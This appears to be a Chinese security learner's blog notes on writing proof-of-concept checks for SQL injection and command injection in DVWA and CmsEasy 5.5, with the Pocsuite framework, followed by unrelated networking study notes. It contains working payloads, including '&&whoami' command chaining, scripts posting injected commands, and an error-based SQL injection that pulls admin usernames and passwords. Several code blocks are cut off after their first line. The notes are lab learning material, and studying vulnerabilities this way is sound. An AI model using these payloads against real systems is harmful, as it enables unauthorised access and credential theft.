poc学习part2
基于Pocsuite框架SQL注入的Poc编写
之前是无框架编写Poc,现在尝试将之前的Poc文件改写成基于Pocsuite框架的Poc
之前代码里我采取使用requests模块来发送http请求,而在Pocsuite中,框架要求使用Pocsuite框架封装好的req,其实他就是python的requests库,具体的用法看requests的官方文档就行
至于为啥不能直接在Poc中直接import requests呢?因为有些时候,我们在批量使用Poc时,有些网站会对爬虫或者类似行为做一点手脚,会对请求报文查看有没有http请求头,比如有一些WAF会检测请求里是否有User-Agent,所以这是其中一个理由,框架集成终归是有好处。
1 | from pocsuite3.api import Output, POCBase, register_poc, requests, logger, VUL_TYPE, POC_CATEGORY |
若是压缩包方式下载的:放到pocsuite下的pocs目录,然后python cli.py xxxxx
方式运行
上述代码用Pocsuite3框架执行(pip下载用这种方式)
执行命令:
1 | pocsuite -r xxx.py -u http://192.168.0.105:8000 --verify |
接下来就是见证自己的Poc运行
接下来解释下代码
第一部分
第二部分
最上面就是引入一些类库,中部是一个Poc的类,继承自PocBase类,类中的俩主要函数为_verify和_attack,这两个分别是verify和attack模式的入口函数,然后还有一个自己定义的函数parse_result,用于统一输出
下面是针对每个具体的部分的说明,具体信息在框架文档里已经详细说明了。
第一部分代码主要是引入pocsuite的类库,要用什么就引入什么,找不到就去目录里找一下
第二部分代码,用于填写一些基础信息,根据漏洞实际情况填写就行,在多个Poc多情况下很有用
接下来就是具体的verify的代码,如果之前无框架版代码看过,框架版的verify并不是问题
唯一不同的是输出并不是print,而是我们将输出的信息保存在一个叫做result的字典里面,然后再调用parse_result将其输出
这里是attack的入口,这个是带有攻击性质的验证模式,也就是说在这个函数里可以放一些带有攻击性质的payload,比如注出管理员密码,相对verify来说就稍微复杂了点,所以我就偷懒没写了,直接返回verify
parse_result这个函数,是自己定义的函数。前两个函数都是入口,也就是框架要调用这两个函数,程序执行进来以后,想怎么调用就怎么调用
最后一定要注意调用register来注册Poc类,这样框架才能知道这个类是Poc类就会去调用它。
总结:
这里主要基于报错的 SQL 注入 PoC 编写,也就是针对有回显的 SQL 注入,我们 PoC 模拟了浏览器提交数据的这一过程,我们判断是否存在漏洞的依据就是看返回页面的内容是否有我们预期的值
这里要注意的就是,我们判断的凭据不是说我提交了 abcde 到目标服务器,目标返回一个 abcde 就可以了,而是要证明我们的代码执行了,所以可以提交 ASCII 码到服务器,如果返回了对应的字符,就证明了可以执行。而为了减少误报,本着概率的角度,我们要使用稍微长的一个随机字符串(一定要注意随机,比如一个很长的单词 Christmas 就不行,这种有意义的字符串出现的概率有些大)
Poc从0到1
之前稍微学了点poc的注意事项,这里继续找dvwa的命令注入漏洞做一次快速入门编写Poc
1.1 实验环境
1 | python3 |
2.1 漏洞分析
1 | user: admin |
将 DVWA Security
修改为low,本次使用 Command Injection(命令注入)
模块作为此次Poc验证漏洞点
2.2 如何触发漏洞?
Command Injection(命令注入)
该模块由于对输入的参数检查不严格导致任意命令执行
1 | ping xxx.cn && whoami |
2.3 源码分析
Command Injection 模块源码
1 | <?php |
对源码进行代码审计很容易发现,输入$ip参数,会对pc所使用的系统进行一个判断,随后将$target进行拼接,但没进行任何的过滤吧,所以我们可以命令拼接来进行命令执行
1 | shell_exec( 'ping -c 4 ' . $target ) == shell_exec('ping -c 4 sechelper.cn&&whoami' ); |
3.1 分析http数据包
使用火狐F12里进行查看http请求或者burp抓一个包看看都行
这里举个例子:
文件/vulnerabilities/exec/
是接口地址,方法是 POST
,域名是 192.168.17.5
,完整http请求包如下
1 | POST /vulnerabilities/exec/ HTTP/1.1 |
3.2 构建初版代码
漏洞最主要的信息已经知道了,开始编写代码
1 | import requests |
执行上面代码返回状态 302
,不应该是200
吗?为什么返回 302
?,观察控制台内打印出的跳转地址
是登入界面,原来/vulnerabilities/exec/
有授权验证,未授权会跳转到登入界面
3.3 请求授权接口
这里就不分析登入的过程了,登入信息保存在Cookie内,在请求头内加入 cookie
头
1 | import requests |
运行后就能够看出代码已经可以访问并利用 /vulnerabilities/exec/
存在漏洞接口
3.4 快速验证漏洞两种方法
- 特征匹配返回结果里的特征检测漏洞是否存在,匹配到
自定义
的字符则表示漏洞存在1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low"}
data = {"ip": "192.168.17.5&&echo sechelper", "Submit": "Submit"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers)
if response.status_code == 200 and response.text.find("sechelper") != -1:
print("[*] {} is weak".format(url))
else:
print("[x] {} is safe".format(url))
print("Detection completed...") - 关键输出方式输出关键信息人工判断是否成功,一些复杂的漏洞利用需要使用这种方式
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20# coding=utf-8
import requests
url = "http://192.168.17.5/vulnerabilities/exec/"
# Cookie: PHPSESSID=07ffg4rcbufo5gekqch8v86226; security=low
headers = {"cookie": "PHPSESSID=3eabqr5lprmsir8n0211bolpn1; security=low"}
data = {"ip": "192.168.111.129&&echo sechelper", "Submit": "Submit"}
# 禁止跳转 allow_redirects = False
response = requests.post(url, data, allow_redirects=False, headers=headers, timeout=5)
if response.status_code == 200:
from bs4 import BeautifulSoup
soup = BeautifulSoup(response.text, 'lxml')
# 在html找到第一个pre标签并返回,取出内容就是命令执行的结果
pre = soup.find("pre")
print("[*] response {}".format(pre.text))
print("Detection completed...")
[TOC]
poc学习part1
PoC(全称: Proof of Concept), 中文译作概念验证。即漏洞验证程序,而漏洞利用程序即为Exp。因为python的简单易懂加上类库比较丰富,所以首先Python来进行编写。
POC注意事项
dvwa的sql注入poc
这个是要自己在id参数里面添加’
根据返回结果才可以验证出来
1 | import re |
这就是一个简单的poc,可用来验证dvwa中cookie类sql注入,程序很简单但却能验证是否存在漏洞
切入
这里提到了sql注入,那就以SQL注入为切入点,恰好sql注入也是很多人入门的一个漏洞。编写之前我们要了解下漏洞原理,以及漏洞的分类
注入原理
是发生于应用程序与数据库层的安全漏洞。简而言之,是在输入的字符串之中注入 SQL 指令,在设计不良的程序当中忽略了检查,那么这些注入进去的指令就会被数据库服务器误认为是正常的 SQL 指令而运行,因此遭到破坏或是入侵
注入分类
下面这些个分类是我个人的见解。
注入点类型分类
数字型注入点
形如http://xxx.com/news.php?id=1这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where id=1
。字符型注入点*
形如http://xxx.com/news.php?name=admin这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为
select * from 表名 where name='admin'
。注意多了引号。搜索型注入点*
这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。
此类注入点提交的 SQL 语句,其原形大致为:*
select * from 表名 where 字段 like '%关键字%'
。数据提交方式分类
这种分类其实只是 HTTP 传递数据的方式不同,严格来讲和 SQL 没多大关系,但是在编写 PoC 的时候,这会影响到我们的代码中发送数据的形式
GET 注入
提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接
http://xxx.com/news.php?id=1
, id 是注入点。POST 注入*
使用 POST 方式提交数据,注入点位置在 POST 数据部分,常发生在表单中。
Cookie 注入*
HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。
HTTP 头部注入*
注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。
执行效果分类
这个分类也是 sqlmap 所支持的注入模式,这个分类的依据也是后面我们用 PoC 判断是否存在注入的依据。
基于报错注入
这一类的也叫有回显注入,页面会返回错误信息,或者是把注入语句的结果直接返回在页面中。
基于布尔的盲注*
根据返回页面的结果判断构造的 SQL 条件语句的真假性
基于时间的盲注*
当根据页面返回的内容不能判断出任何信息时,使用条件语句查看时间延迟语句是否执行,也就是看页面返回时间是否增长来判断是否执行。
例子分析:
这里因为我是参考着文章进行学习,但是原有漏洞的分析文章已经无了,我先把链接挂在这
https://mp.weixin.qq.com/s/Ef9Bmp53sEuDLv3KwqdI-g
这里poc编写的漏洞是CmsEasy 5.5 UTF-8 20140802/celive/live/header.php SQL注入漏洞(wooyun-2010-070827)
一般来说如果漏洞的分析文章已经给出了具体的利用方法,我们就可以不关注整个漏洞的成因和原理,直接去看漏洞的复现方式,获得payload和url即可
url:http:/xxx.com/celive/live/header.php
post:xajax=LiveMessage&xajaxargs[0][name]=1’,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(username, 0x23,password) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),”,”,”,’1’, ‘127.0.0.1’, ‘2’)#
一般不推荐使用在线站点测试,懂的都懂,这里建议本地搭建或者寻找docker测试
该漏洞的注入点在 POST 数据部分,我们需要发起一个 POST 请求,我们选择 Firefox 浏览器和 HackBar 插件。填上目标 url 和 payload,然后发送。可以看到返回页面报错,而报错信息中出现了 cmseasy_user 表中的数据
既然能够成功复现,那就可以尝试poc的编写
编写
编写之前,poc总是单独成体,那如果是多个poc或者是我们需要利用多个poc就应运而生了框架来管理,但是这里我们先用无框架poc编写
根据文章我们可以知道,payload是可以证明漏洞存在的,但是如果直接将poc运用到一些扫描类的产品中,这些肯定是不允许的,所以我们需要遵守几个原则
- 无损扫描
也就是要求不能对目标服务器有任何危害,只要证明目标存在漏洞,所以我们只要能证明可以执行 SQL 指令就好了
类似这种
- 减少误报漏报
误报和漏报两者相伴相随。如果误报率低了,那么相对的,漏报率就跟警察叔叔抓坏人,一抓一个准,但是这样的话,肯定就会有很多漏网之鱼了。所以就需要找到一个平衡点。
一般来说,大部分人追求的原则是可以漏报,但不能误报
所以就要求我们判断的字符在正常的页面要尽可能不会经常出现,比如可以输出一串md5的值到页面
为什么选 md5 呢,因为 mysql 里面有 md5 这个函数,写起来简单,要是像 Oracle 数据库里面没 md5 这个函数怎么办呢?我们有 char() 函数(Oracle 里面是 chr()),可以把 ASCII 码转化成字符串,手动多打几个随机字符就好啦
根据以上原则,我们把payload进行修改
url:http:/xxx.com/celive/live/header.php
post:xajax=LiveMessage&xajaxargs[0][name]=1’,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select md5(233)))a from information_schema.tables group by a)b),”,”,”,’1’, ‘127.0.0.1’, ‘2’)#
md5(233) 的值就是 e165421110ba03099a1c0393373c5b43
ok,基本复现成功,可以写poc了。
目的是写一个能发送post请求的,然后返回我们设置的md5值
刚开始我们以最最简单的html形式来尝试实现:
1 | <!DOCTYPE html> |
将上面的html代码,用浏览器打开,点击提交按钮,就能看到效果了。
所以poc的实现形式也是多种多样的,以上html代码也是poc
因为poc是证明漏洞存在的代码,所以代码只要能实现的话,就没有语言之分,看你个人喜欢或者习惯而已。
如果是以Python形式实现就是这样:
原链接使用python2和urllib包进行实现,我这里是python3环境稍加变动而已,不影响
1 | import requests |
下面简单讲一下这个代码做了什么:
main 方法里面大概处理了一下用户的输入
verify 方法里面先是拼接了一下要发送的目的 url, 然后把 post_data(也就是我们的 Payload)发送到目的 url, 最后再处理了一下服务端的响应页面。其实整个过程就像是我们自己用浏览器去手工验证一样,只不过实行了自动化改进。
当然上述的代码,实际运行的时候还是需要改进的,毕竟有很多细节的地方还需要再完善。比如说我们的输入部分每个都需要手动输入,假设有很多个 PoC, 这很麻烦了吧,而且不是每个人都能想到那么多特殊情况。另外输出结果的时候,就用了一个 print , 显然这样的输出很不友好,而且一个 PoC 还不能支持批量扫描,如果你想加载多个 PoC 去扫描多个目标的时候,效率就很低下。
所以应运而生了Poc框架,能够有效避免一些重复工作(当然你编程能力很强能够自己改动也是可以的)
计算机网络复习part1
计算机网络概述:
计算机网络:组成,功能
功能:数据通信,资源共享,分布式处理,提高可靠性,负载均衡
分类:分类范围,传输技术,拓扑结构,交换技术,传输介质
性能指标:时延,往返时延,吞吐量,速率/数据率/比特率,时延带宽率
计算机网络体系结构与参考模型:
计算机网络协议、接口、服务
ISO/OSI开放系统互联参考模型
TCP/IP模型
ISO/OSI与TCP/IP模型的不同
计算机网络概述:
计算机网络的组成:
从组成部分:一个完整的计算机网络主要由硬件、软件、协议三大部分组成,缺一不可。硬件主要指:主机、通信链路、交换设备和通信设备等;软件主要指:用户使用的各种软件;协议指:网络传输数据时需遵循的规范。
从工作方式看:可分为边缘部分和核心部分。边缘部分由所有连接到因特网上供用户使用的主机;核心部分由大量的网络和连接网络的路由器组成
从功能组成看:计算机网络由通信子网和资源子网组成。通信子网由各种传输介质、通信设备和响应的网络协议组成;资源子网是实现资源共享功能的设备及其软件的集合,向网络用户提供服务
计算机网络的功能:
数据通信:网络最基本和最重要的功能,用来实现信息的传输
资源共享:使计算机网络分工协作,互通有无
分布式处理:将某个复杂任务分配给网络中的其他计算机系统
提高可靠性:计算机网络中各台计算机可以通过网络互为替代机
负载均衡:将工作均衡地分配给计算机网络中的各台计算机
计算机网络的分类:
按分布范围:
广域网,范围通常几十千米-几千千米
城域网,几个街区或整个城市
局域网,几十米到几千米
个人区域网,直径约10m
按传输技术分类:
广播式网络,所有计算机共享一个公共通信信道
点对点网络,每条物理线路连接一对计算机
按拓扑结构分类:
总线形网络,星形网络,环形网络,网状形网络
按交换技术分类:
电路交换网络:在发送、接收双方建立一条专用的通路用于数据传输
报文交换网络:将数据加上地址等信息,进行转发,每个报文自行选择路线
分组交换网络:将数据分成较小的数据块,类似报文交换,只是将报文分成更小的多个分组
按传输介质分类:
分为有线网络和无线网络
计算机网络的性能指标:
时延:
发送时延:从发送分组的第一个比特算起,到该分组最后一个比特发送完毕所需的时间
传播时延:一个比特从链路一端到另一端所需的时间
处理时延:分析地址部分、进行差错检验等花费的时间
排队时延:在进入路由器后等待处理的时间
往返时延:从发送端发送数据开始,到发送端收到来自接受端的确认,总共经历的时间
吞吐量:单位时间通过某个网络(或接口)的数据量
速率:连接到计算机网络上的主机在数字信道上传送数据的速率,也称数据率或比特率。通常,把最高数据率称为带宽
时延带宽积:指发送端第一个比特即将到达终点时,发送端已经发出了多少个比特。时延带宽积=传播时延*信道带宽
结构:
分层结构:
基本原则:每层都实现一种相对独立的功能,降低大系统的复杂度各层之间自然清晰,易于理解,相互交流尽可能少
各层功能的精确定义独立于具体的实现方法,可以采用最合适的技术来实现
保持下层对上层的独立性,上层单向使用下层提供的服务。整个分层结构应能促进标准化工作
两个主机通信时,同一层在逻辑上有一条直接信道,表现为不经过就把信息传送到对方
协议、接口与服务:
协议:协议即规则的集合,由语法、语义和同步三部分组成。语法规定了传输数据的格式;语义规定了所要完成的功能;同步规定了执行各种操作的时序关系等
接口:接口是相邻两层交换信息的连接点
服务:服务是指下层为紧邻的上层提供的功能调用
注意:协议和服务在概念上是不一样的,只有本层协议的实现才能保证向上层提供服务
计算机网络的服务可分为三种:
1、面向连接服务与无连接服务:
面向连接服务中,通信前双方必须先连接,分配资源,再进行数据传送,传输结束释放连接
无连接服务中,通信双方不需要先建立连接,需要发送数据时可直接发送,通常被称为“尽最大努力交付”
2、可靠服务与不可靠服务:
可靠服务是指网络具有纠错、检错机制,保证数据正确可靠
不可靠服务是指网络的正确性、可靠性由应用或用户来保障
3、有应答服务和无应答服务:
有应答服务即接收方在收到数据后向发送方给出相应的应答
无应答服务即接收方在收到数据后不自动给出相应的应答
ISO/OSI模型: